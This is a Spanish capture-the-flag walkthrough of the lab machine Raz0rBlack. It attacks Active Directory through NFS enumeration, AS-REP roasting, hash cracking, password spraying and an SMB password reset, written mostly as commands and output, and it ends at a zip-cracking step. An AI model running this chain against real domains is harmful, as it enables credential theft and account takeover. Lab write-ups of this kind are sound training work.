Raz0rBlack
Dificultad: medium - OS: Windows
Enumeración de puertos/servicios
┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# nmap -sCV --open -T4 -v -n 10.10.18.112
Resultado:
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-05-28 05:46:28Z)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/tcp6 rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 2,3,4 111/udp6 rpcbind
| 100003 2,3 2049/udp nfs
| 100003 2,3 2049/udp6 nfs
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/tcp6 nfs
| 100005 1,2,3 2049/tcp mountd
| 100005 1,2,3 2049/tcp6 mountd
| 100005 1,2,3 2049/udp mountd
| 100005 1,2,3 2049/udp6 mountd
| 100021 1,2,3,4 2049/tcp nlockmgr
| 100021 1,2,3,4 2049/tcp6 nlockmgr
| 100021 1,2,3,4 2049/udp nlockmgr
| 100021 1,2,3,4 2049/udp6 nlockmgr
| 100024 1 2049/tcp status
| 100024 1 2049/tcp6 status
| 100024 1 2049/udp status
|_ 100024 1 2049/udp6 status
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: raz0rblack.thm, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
2049/tcp open nlockmgr 1-4 (RPC #100021)
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: raz0rblack.thm, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=HAVEN-DC.raz0rblack.thm
| Issuer: commonName=HAVEN-DC.raz0rblack.thm
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-05-27T05:29:02
| Not valid after: 2025-11-26T05:29:02
| MD5: 2b8a:decd:33bd:ac25:58ca:5216:729f:88b5
|_SHA-1: b1ee:9be1:83b6:a528:d0c7:6990:45ea:8875:0ac8:0328
|_ssl-date: 2025-05-28T05:47:29+00:00; -9m06s from scanner time.
| rdp-ntlm-info:
| Target_Name: RAZ0RBLACK
| NetBIOS_Domain_Name: RAZ0RBLACK
| NetBIOS_Computer_Name: HAVEN-DC
| DNS_Domain_Name: raz0rblack.thm
| DNS_Computer_Name: HAVEN-DC.raz0rblack.thm
| Product_Version: 10.0.17763
|_ System_Time: 2025-05-28T05:47:20+00:00
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: HAVEN-DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2025-05-28T05:47:24
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: mean: -9m06s, deviation: 0s, median: -9m06s
En síntesis:
| Puerto | Servicio | Protocolo |
|---------|----------------|-----------|
| 53/tcp | domain | TCP |
| 88/tcp | kerberos-sec | TCP |
| 111/tcp | rpcbind | TCP |
| 135/tcp | msrpc | TCP |
| 139/tcp | netbios-ssn | TCP |
| 389/tcp | ldap | TCP |
| 445/tcp | microsoft-ds | TCP |
| 464/tcp | kpasswd5 | TCP |
| 593/tcp | ncacn_http | TCP |
| 636/tcp | tcpwrapped | TCP |
| 2049/tcp| nlockmgr | TCP |
| 3268/tcp| ldap | TCP |
| 3269/tcp| tcpwrapped | TCP |
| 3389/tcp| ms-wbt-server | TCP |
| 5985/tcp| http | TCP |
Ya viendo estos puertos podemos deducir lo siguiente: la presencia de servicios como Kerberos (88/tcp), LDAP (389 y 3268/tcp), y SMB (445/tcp) confirman que se trata de un entorno de Active Directory, lo que habilita vectores de ataque como AS-REP Roasting, Kerberoasting, y enumeración de usuarios a través de LDAP. Luego el puerto 2049/tcp (NFS) es particularmente relevante, ya que nos permite montar recursos remotos y extraer archivos accesibles que pueden contener información sensible, como credenciales o listas de usuarios. Network File System (NFS), es un protocolo de red que permite a los usuarios montar sistemas de archivos remotos y trabajar con ellos como si estuvieran en su propia máquina local. Otros elementos que nos arroja nmap en este escáner son:
La diferencia horaria del servidor kerberos con mi equipo Kali: esto es importante en contextos de Kerberos, ya que este protocolo es muy sensible a la sincronización horaria. Una diferencia mayor a 5 minutos por defecto puede causar que el cliente no pueda autenticarse correctamente, afectando herramientas como
Kerbrute
oimpacket
cuando se realizan ataques como AS-REP Roasting o Kerberoasting.Nmap también detectó información útil de dominio a través de servicios como LDAP y RDP (
rdp-ntlm-info
y certificados SSL), incluyendo:raz0rblack.thm
(dominio principal)HAVEN-DC.raz0rblack.thm
(nombre FQDN del controlador de dominio)HAVEN-DC
(nombre del host NetBIOS)
Para asegurar una correcta resolución DNS durante el CTF (especialmente para herramientas que dependen del nombre de dominio o de servicios Kerberos), es necesario mapear la IP de la máquina al dominio en el
/etc/hosts
del equipo Kali
Para solucionar estos inconvenientes vamos a usar los siguientes comandos:
┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# echo "10.10.18.112 HAVEN-DC.raz0rblack.thm raz0rblack.thm" >> /etc/hosts
┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# ntpdate 10.10.18.112
2025-05-28 12:56:39.576279 (-0400) -546.051960 +/- 0.120645 10.10.18.112 s1 no-leap
CLOCK: time stepped by -546.051960
Enumeración NFS (Puerto 2049)
El procedimiento para ver los recursos compartidos a través del protocolo NFS y montarlo luego en nuestro equipo es el siguiente:
Listamos los recursos compartidos remotos que están disponibles en NFS.
Creamos una carpeta local donde montaremos el recurso
Montamos el recurso compartido en la carpeta local
┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# showmount -e 10.10.18.112
Export list for 10.10.18.112:
/users (everyone)
┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# mkdir NFS
┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# mount -t nfs 10.10.18.112:/users ./NFS
Created symlink '/run/systemd/system/remote-fs.target.wants/rpc-statd.service' → '/usr/lib/systemd/system/rpc-statd.service'.
mount.nfs: mounting 10.10.18.112:/usuarios failed, reason given by server: No such file or directory
┌──(root㉿kali)-[/home/…/Documents/THM/RAZORBLACK/NFS]
└─# ls
employee_status.xlsx sbradley.txt
showmount -e 10.10.18.112
→ consulta al servidor NFS (en este caso10.10.18.112
) y muestra los directorios que están siendo exportados (compartidos) a través del servicio NFS. El parámetro-e
en el comandoshowmount
significa "exports", y su función es mostrar los directorios que el servidor NFS está exportando (compartiendo).mount -t nfs 10.10.18.112:/users ./NFS
→ monta el recurso compartido/users
del servidor NFS en el directorio local./NFS
.
Dentro de este recurso vamos a encontrar dos archivos, en sbradley.txt
esta la primera flag y en employee_status.xlsx
vamos a encontrar lo siguiente:
┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# xlsx2csv employee_status.xlsx
HAVEN SECRET HACKER's CLUB,,,,,,,,,,,
,,,,,,,,,,,
,,,,,,,,,,,
,,,,,,,,,,,
Name's,,,Role,,,,,,,,
daven port,,,CTF PLAYER,,,,,,,,
imogen royce,,,CTF PLAYER,,,,,,,,
tamara vidal,,,CTF PLAYER,,,,,,,,
arthur edwards,,,CTF PLAYER,,,,,,,,
carl ingram,,,CTF PLAYER (INACTIVE),,,,,,,,
nolan cassidy,,,CTF PLAYER,,,,,,,,
reza zaydan,,,CTF PLAYER,,,,,,,,
ljudmila vetrova,,,"CTF PLAYER, DEVELOPER,ACTIVE DIRECTORY ADMIN",,,,,,,,
rico delgado,,,WEB SPECIALIST,,,,,,,,
tyson williams,,,REVERSE ENGINEERING,,,,,,,,
steven bradley,,,STEGO SPECIALIST,,,,,,,,
chamber lin,,,CTF PLAYER(INACTIVE),,,,,,,,
Se trata de un archivo de tipo Excel, específicamente en el formato Office Open XML Spreadsheet que contiene nombres de usuarios del dominio.
Para extraer los metadatos en busca de información sensible y parsear los usuarios de cualquier archivo .xlsx
a un formato de usuarios de AD diseñe el siguiente script en python xlsx_extract.py que nos va a ayudar a obtener un diccionario para la siguiente etapa
┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# python3 xlsx_extract.py employee_status.xlsx
📄 Extrayendo metadatos desde: employee_status.xlsx
------------------------------------------------------------
Autor : root
Última modificación por : root
Fecha de creación : 2021-02-24T03:15:00Z
Fecha de modificación : 2021-02-23T22:07:15Z
🔍 Buscando palabras clave y posibles usernames:
📌 Coincidencias encontradas:
[Sheet1] A1: HAVEN SECRET HACKER's CLUB
[Sheet1] D13: CTF PLAYER, DEVELOPER,ACTIVE DIRECTORY ADMIN
✅ 16 posibles usuarios extraídos:
- aedwards
- cingram
- clin
- cplayer
- dport
- iroyce
- lvetrova
- ncassidy
- rdelgado
- rengineering
- rzaydan
- sbradley
- sspecialist
- tvidal
- twilliams
- wspecialist
📁 Archivo 'users.txt' generado con posibles usernames.
AS-REP Roasting attack
As-Rep roasting es una técnica dirigida contra usuarios de Active Directory que no requieren pre autenticación Kerberos. Esta debilidad permite extraer un ticket cifrado directamente del Domain Controller, para luego intentar crackearlo offline y obtener la contraseña de x usuario. Si no conoces esta técnica te recomiendo que leas los siguientes artículos de este blog Attacking Kerberos y Attacktive Directory.
Para realizar el ataque podemos usar impacket-GetNPUsers o Kerbrute y guardar la salida en un fichero para luego crackearlo con John the Ripper
Opción 1: impacket-GetNPUsers.
┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# impacket-GetNPUsers raz0rblack.thm/ -usersfile users.txt -no-pass -dc-ip 10.10.18.112
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
/usr/share/doc/python3-impacket/examples/GetNPUsers.py:165: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] User lvetrova doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] User sbradley doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
$krb5asrep$23$twilliams@RAZ0RBLACK.THM:3d74e55637fbfd8dd57832ee73b6a32b$17f039c211056cff8c178fefc17e1db85851184c71
e6932de8c9856d613fc6a8117a5876edd517fa53a20517b6e549d2317520cef990307316fcf0a3281c9ecf7a6d9e0de2b57ce369bc8f24f7aa
a1bc13deead58f71e571df6645481524a98f68528f1c3c118b10f2ee674a31c4ff633c9374ea7d1cb3035ee85944577acb329a306840cf1c3a
a6f2576b7a3605feabbe58f79380234ee344f8b6b74abae840811228bc0316162622f0b956c97e9dcd2b96b7b83fab828ca1cb616f248a9645
069fa9121c4f93c1f49c000c431f539a66c1517fc3f76e948d10134d76a9581a6681f8944803e5393d991a85f7ee7778
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
Opción 2: Kerbrute.
┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# kerbrute userenum --domain raz0rblack.thm --dc 10.10.18.112 users.txt --downgrade --hash-file as-rep_hash --output hashes.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: dev (n/a) - 05/29/25 - Ronnie Flathers @ropnop
2025/05/29 18:54:05 > Saving any captured hashes to as-rep_hash
2025/05/29 18:54:05 > Using downgraded encryption: arcfour-hmac-md5
2025/05/29 18:54:05 > Using KDC(s):
2025/05/29 18:54:05 > 10.10.18.112:88
2025/05/29 18:54:05 > [+] VALID USERNAME: lvetrova@raz0rblack.thm
2025/05/29 18:54:05 > [+] VALID USERNAME: sbradley@raz0rblack.thm
2025/05/29 18:54:05 > [+] twilliams has no pre auth required. Dumping hash to crack offline:
$krb5asrep$23$twilliams@RAZ0RBLACK.THM:842d88488b0c3285809727f137cec4d6$1e31c93cd5c85ddf0dfd91e9e24f07bdf2a0e219e9
5de2b430f3e56c2b259c80305a4171276c79e176795e170ba7faa7675587f3f6d34bf715895319baa0891d4dbe5f86e05c589b45840d5ab1f4
cf4ed5f48af01d09ed1a7b82101ad426402e435bf645fc6618ba1c7823478626b28ab6a059230316a65164df9ce38ec5e474c6cf282483d7de
eae6507ee6ff337afac75382c3730a272f8d7a6e99f7b51784bb5df79785d57fd785559f58db0cf07c4adfa322a003b52960aa7dcdf7c3442a
114a621f6a5f25861609a9b85e4d950e2c50396ae28b6f791f365196fa0f58bba6ccc47fb130ba1f534a752fd33c15f0
2025/05/29 18:54:05 > [+] VALID USERNAME: twilliams@raz0rblack.thm
2025/05/29 18:54:05 > Done! Tested 16 usernames (3 valid) in 0.445 seconds
TGT cracking con John
Una vez que obtenemos el hash del usuario podemos descifrar su contraseña con John the Ripper:
┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# john -w=/usr/share/wordlists/rockyou.txt as-rep_hash
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
roastpotatoes ($krb5asrep$23$twilliams@RAZ0RBLACK.THM)
1g 0:00:00:05 DONE (2025-05-29 18:56) 0.1949g/s 822992p/s 822992c/s 822992C/s rob3560..roastedfish
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Nota: en un ataque AS-REP Roasting no se craquea el TGT completo. Lo que se craquea es una parte del mensaje AS-REP (respuesta del Domain Controller) que contiene un bloque cifrado con la clave derivada de la contraseña del usuario. Si tenes dudas sobre el funcionamiento de este servicio te recomiendo que leas el siguiente artículo:
Una vez que logramos obtener un nuevo par de credenciales lo más recomendable es testear contra que servicios nos permite ingresar, de esta forma tendremos una idea de por donde continuar el ataque/intrusión. Para automatizar esta tarea diseñe un script en bash que lo podes obtener del siguiente repositorio: service_validation
┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# ./service_validation.sh raz0rblack.thm twilliams 'roastpotatoes'
[*] Probando credenciales contra raz0rblack.thm con usuario 'twilliams'...
--- Probando smb ---
SMB 10.10.18.112 445 HAVEN-DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:HAVEN-DC) (domain:raz0rblack.thm) (signing:True) (SMBv1:False)
SMB 10.10.18.112 445 HAVEN-DC [+] raz0rblack.thm\twilliams:roastpotatoes
--- Probando ldap ---
SMB 10.10.18.112 445 HAVEN-DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:HAVEN-DC) (domain:raz0rblack.thm) (signing:True) (SMBv1:False)
LDAP 10.10.18.112 389 HAVEN-DC [+] raz0rblack.thm\twilliams:roastpotatoes
--- Probando winrm ---
WINRM 10.10.18.112 5985 HAVEN-DC [*] Windows 10 / Server 2019 Build 17763 (name:HAVEN-DC) (domain:raz0rblack.thm)
WINRM 10.10.18.112 5985 HAVEN-DC [-] raz0rblack.thm\twilliams:roastpotatoes
--- Probando rdp ---
RDP 10.10.18.112 3389 HAVEN-DC [*] Windows 10 or Windows Server 2016 Build 17763 (name:HAVEN-DC) (domain:raz0rblack.thm) (nla:True)
RDP 10.10.18.112 3389 HAVEN-DC [+] raz0rblack.thm\twilliams:roastpotatoes
--- Probando mssql ---
--- Probando wmi ---
RPC 10.10.18.112 135 HAVEN-DC [*] Windows 10 / Server 2019 Build 17763 (name:HAVEN-DC) (domain:raz0rblack.thm)
RPC 10.10.18.112 135 HAVEN-DC [+] raz0rblack.thm\twilliams:roastpotatoes
--- Probando ftp ---
--- Probando ssh ---
Enumeración de recursos smb
Esta vez usaremos la tool nxc para ver si tenemos permisos de escritura o lectura en el contenido de la unidad compartida con las credenciales twilliams:roastpotatoes
┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# nxc smb 10.10.18.112 -u 'twilliams' -p 'roastpotatoes' --shares
SMB 10.10.18.112 445 HAVEN-DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:HAVEN-DC) (domain:raz0rblack.thm) (signing:True) (SMBv1:False)
SMB 10.10.18.112 445 HAVEN-DC [+] raz0rblack.thm\twilliams:roastpotatoes
SMB 10.10.18.112 445 HAVEN-DC [*] Enumerated shares
SMB 10.10.18.112 445 HAVEN-DC Share Permissions Remark
SMB 10.10.18.112 445 HAVEN-DC ----- ----------- ------
SMB 10.10.18.112 445 HAVEN-DC ADMIN$ Remote Admin
SMB 10.10.18.112 445 HAVEN-DC C$ Default share
SMB 10.10.18.112 445 HAVEN-DC IPC$ READ Remote IPC
SMB 10.10.18.112 445 HAVEN-DC NETLOGON READ Logon server share
SMB 10.10.18.112 445 HAVEN-DC SYSVOL READ Logon server share
SMB 10.10.18.112 445 HAVEN-DC trash Files Pending for deletion
Enumeración de usuarios del dominio con impacket-lookupsid
Los resultados de la enumeración del smb nos muestran que tenemos permisos de lectura sobre el recurso IPC$
, este recurso es clave porque nos permite enumerar más objetos del dominio con herramientas como impacket-lookupsid
¿Qué es IPC$
?
IPC$
(Inter-Process Communication share) es una carpeta especial que permite conexiones remotas a funciones administrativas, como autenticación, sesión de servicios, etc.No contiene archivos visibles, pero sí podemos conectarnos a
IPC$
, significa que el usuario tiene algún tipo de privilegio en el dominio, como para usar llamadas RPC.Aunque no tengamos acceso a otras carpetas de archivos (
users
,shared
, etc.), acceder aIPC$
ya es suficiente para enumerar información sensible, como usuarios y grupos, usando RPC.
Ahora vamos a usar un script que diseñe en bash que implementa la enumeración de usuarios con lookupsid
pero también parcea el output y nos deja una lista con los nombres de los usuarios en limpio para un posterior ataque. El script lo podes descargar desde el siguiente repositorio: lookupsid_enum.sh
┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# ./lookupsid_enum.sh 10.10.18.112 twilliams roastpotatoes raz0rblack.thm
[*] Ejecutando impacket-lookupsid contra 10.10.18.112 con raz0rblack.thm/twilliams...
[*] Extrayendo usuarios válidos (SidTypeUser)...
[+] Usuarios extraídos:
Administrator
Guest
HAVEN-DC$
krbtgt
lvetrova
sbradley
twilliams
xyan1d3
[+] Archivo generado: users_enum.txt
┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# cat users_enum.txt
Administrator
Guest
HAVEN-DC$
krbtgt
lvetrova
sbradley
twilliams
xyan1d3
Password spray con Kerbrute
Ahora que contamos con otra lista de usuarios vamos a intentar buscar otros usuarios que usen la misma contraseña que twilliams
a través del ataque password spraying que consiste en probar una sola contraseña común contra múltiples usuarios.
┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# kerbrute passwordspray --domain raz0rblack.thm --dc 10.10.18.112 users_enum.txt 'roastpotatoes'
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: dev (n/a) - 05/29/25 - Ronnie Flathers @ropnop
2025/05/29 19:34:55 > Using KDC(s):
2025/05/29 19:34:55 > 10.10.18.112:88
2025/05/29 19:34:55 > [+] VALID LOGIN WITH ERROR: sbradley@raz0rblack.thm:roastpotatoes (User's password has expired)
2025/05/29 19:34:56 > [+] VALID LOGIN: twilliams@raz0rblack.thm:roastpotatoes
2025/05/29 19:34:56 > Done! Tested 16 logins (2 successes) in 1.144 seconds
Password Reset via SMB con impacket-smbpasswd
Kerbrute encontró un usuario cuya contraseña era la misma que la del usuario twilliams
pero que además está ya expiró confirmándolo con el siguiente mensaje: "User's password has expired"
Este mensaje indica que:
El usuario existe y las credenciales son correctas.
El login no falla por contraseña inválida, sino por una política de expiración de contraseñas.
AD está rechazando la autenticación porque la contraseña es válida pero antigua, y se requiere que el usuario la cambie.
Cuando un usuario tiene la contraseña expirada, Active Directory espera que el usuario la reemplace al iniciar sesión. Esto significa que:
El protocolo SMB (vía SAMR) permite realizar un
PasswordChangeUserPassword
sin necesidad de la contraseña actual.La autenticación inicial no requiere éxito total, solo que la cuenta esté activa y que el cambio esté permitido por política.
Sabiendo esto podemos usar impacket-smbpasswd o impacket-changepasswd para aplicar un cambio de contraseña al usuario sbradley
y hacernos con su cuenta:
Opción 1: impacket-smbpasswd
┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# impacket-smbpasswd sbradley@10.10.18.112
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
Current SMB password: roastpotatoes
New SMB password: Password123
Retype new SMB password: Password123
[!] Password is expired, trying to bind with a null session.
[*] Password was changed successfully.
impacket-smbpasswd sbradley:roastpotatoes@raz0rblack.thm -newpass Password123
Opción 2: impacket-changepasswd
┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# impacket-changepasswd.py sbradley:roastpotatoes@raz0rblack.thm -newpass Password123
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Changing the password of Builtin\sbradley
[*] Connecting to DCE/RPC as Builtin\sbradley
[!] Password is expired or must be changed, trying to bind with a null session.
[*] Connecting to DCE/RPC as null session
[*] Password was changed successfully.
Con este nuevo par de credenciales sbradley:Password123
vamos a chequear nuevamente a que servicios nos permite acceder, usando el script service_validation.sh
┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# ./service_validation.sh raz0rblack.thm sbradley 'Password123'
[*] Probando credenciales contra raz0rblack.thm con usuario 'sbradley'...
--- Probando smb ---
SMB 10.10.18.112 445 HAVEN-DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:HAVEN-DC) (domain:raz0rblack.thm) (signing:True) (SMBv1:False)
SMB 10.10.18.112 445 HAVEN-DC [+] raz0rblack.thm\sbradley:Password123
--- Probando ldap ---
SMB 10.10.18.112 445 HAVEN-DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:HAVEN-DC) (domain:raz0rblack.thm) (signing:True) (SMBv1:False)
LDAP 10.10.18.112 389 HAVEN-DC [+] raz0rblack.thm\sbradley:Password123
--- Probando winrm ---
WINRM 10.10.18.112 5985 HAVEN-DC [*] Windows 10 / Server 2019 Build 17763 (name:HAVEN-DC) (domain:raz0rblack.thm)
WINRM 10.10.18.112 5985 HAVEN-DC [-] raz0rblack.thm\sbradley:Password123
--- Probando rdp ---
RDP 10.10.18.112 3389 HAVEN-DC [*] Windows 10 or Windows Server 2016 Build 17763 (name:HAVEN-DC) (domain:raz0rblack.thm) (nla:True)
RDP 10.10.18.112 3389 HAVEN-DC [+] raz0rblack.thm\sbradley:Password123
--- Probando mssql ---
--- Probando wmi ---
RPC 10.10.18.112 135 HAVEN-DC [*] Windows 10 / Server 2019 Build 17763 (name:HAVEN-DC) (domain:raz0rblack.thm)
RPC 10.10.18.112 135 HAVEN-DC [+] raz0rblack.thm\sbradley:Password123
--- Probando ftp ---
--- Probando ssh ---
Enumeración de recursos smb con nxc
Los resultados del script anterior nos indica que podemos acceder al smb, por ende vamos a listar esos recursos y verificar si tenemos algún permiso nuevo sobre alguno de los directorios usando nxc
┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# nxc smb 10.10.18.112 -u 'sbradley' -p 'Password123' --shares
SMB 10.10.18.112 445 HAVEN-DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:HAVEN-DC) (domain:raz0rblack.thm) (signing:True) (SMBv1:False)
SMB 10.10.18.112 445 HAVEN-DC [+] raz0rblack.thm\sbradley:Password123
SMB 10.10.18.112 445 HAVEN-DC [*] Enumerated shares
SMB 10.10.18.112 445 HAVEN-DC Share Permissions Remark
SMB 10.10.18.112 445 HAVEN-DC ----- ----------- ------
SMB 10.10.18.112 445 HAVEN-DC ADMIN$ Remote Admin
SMB 10.10.18.112 445 HAVEN-DC C$ Default share
SMB 10.10.18.112 445 HAVEN-DC IPC$ READ Remote IPC
SMB 10.10.18.112 445 HAVEN-DC NETLOGON READ Logon server share
SMB 10.10.18.112 445 HAVEN-DC SYSVOL READ Logon server share
SMB 10.10.18.112 445 HAVEN-DC trash READ Files Pending for deletion
Cómo tenemos acceso al directorio trash
vamos a conectarnos con smbclient y buscar más recursos expuestos de valor
┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# smbclient \\\\raz0rblack.thm\\trash --user='sbradley%Password123' -m SMB2
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Tue Mar 16 02:01:28 2021
.. D 0 Tue Mar 16 02:01:28 2021
chat_log_20210222143423.txt A 1340 Thu Feb 25 14:29:05 2021
experiment_gone_wrong.zip A 18927164 Tue Mar 16 02:02:20 2021
sbradley.txt A 37 Sat Feb 27 14:24:21 2021
5101823 blocks of size 4096. 936525 blocks available
smb: \> get chat_log_20210222143423.txt
getting file \chat_log_20210222143423.txt of size 1340 as chat_log_20210222143423.txt (1.1 KiloBytes/sec) (average 1.1 KiloBytes/sec)
smb: \> get experiment_gone_wrong.zip
getting file \experiment_gone_wrong.zip of size 18927164 as experiment_gone_wrong.zip (1399.6 KiloBytes/sec) (average 1399.6 KiloBytes/sec)
smb: \> exit
Nota: el parámetro -m SMB2
es para forzar a smbclient
a usar el protocolo SMB2 en lugar de SMB1, lo que evita problemas de timeout y desconexión durante la descarga del archivo .zip. MB2 es más eficiente, moderno y mejor en manejo de archivos grandes, lo que evita errores como NT_STATUS_IO_TIMEOUT
que podemos tener con SMB1.
Al inspeccionar el contenido de chat_log_20210222143423.txt
vamos a encontrar una copia de un chat entre el usuario sbradley
y el Administrator
donde básicamente el usuario sbradley
comenta que guardó el contenido del ntds.dit
y del SYSTEM.hive
en un comprimido (experiment_gone_wrong.zip
),
┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# cat chat_log_20210222143423.txt
sbradley> Hey Administrator our machine has the newly disclosed vulnerability for Windows Server 2019.
Administrator> What vulnerability??
sbradley> That new CVE-2020-1472 which is called ZeroLogon has released a new PoC.
Administrator> I have given you the last warning. If you exploit this on this Domain Controller as you did previously on our old Ubuntu server with dirtycow, I swear I will kill your WinRM-Access.
sbradley> Hey you won't believe what I am seeing.
Administrator> Now, don't say that you ran the exploit.
sbradley> Yeah, The exploit works great it needs nothing like credentials. Just give it IP and domain name and it resets the Administrator pass to an empty hash.
sbradley> I also used some tools to extract ntds. dit and SYSTEM.hive and transferred it into my box. I love running secretsdump.py on those files and dumped the hash.
Administrator> I am feeling like a new cron has been issued in my body named heart attack which will be executed within the next minute.
Administrator> But, Before I die I will kill your WinRM access..........
sbradley> I have made an encrypted zip containing the ntds.dit and the SYSTEM.hive and uploaded the zip inside the trash share.
sbradley> Hey Administrator are you there ...
sbradley> Administrator .....
The administrator died after this incident.
Press F to pay respects
Cracking ZIP password con John
Gracias a la pista anterior podemos deducir que en experiment_gone_wrong.zip
vamos a encontrar hashes ntlm
de los usuarios del dominio, pero al intentar descomprimirlo nos va a pedir una contraseña, y para descifrarla vamos a requerir de la tool zip2john que básicamente se encarga de extraer el hash de la contraseña del archivo ZIP para que luego podamos crackearla con John the Ripper. El paso a paso es el siguiente:
┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# zip2john experiment_gone_wrong.zip > hash.txt
ver 2.0 efh 5455 efh 7875 experiment_gone_wrong.zip/system.hive PKZIP Encr: TS_chk, cmplen=2941739, decmplen=16281600, crc=BDCCA7E2 ts=591C cs=591c type=8
ver 2.0 efh 5455 efh 7875 experiment_gone_wrong.zip/ntds.dit PKZIP Encr: TS_chk, cmplen=15985077, decmplen=58720256, crc=68037E87 ts=5873 cs=5873 type=8
NOTE: It is assumed that all files in each archive have the same password.
If that is not the case, the hash may be uncrackable. To avoid this, use
option -o to pick a file at a time.
┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# john hash.txt -w=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
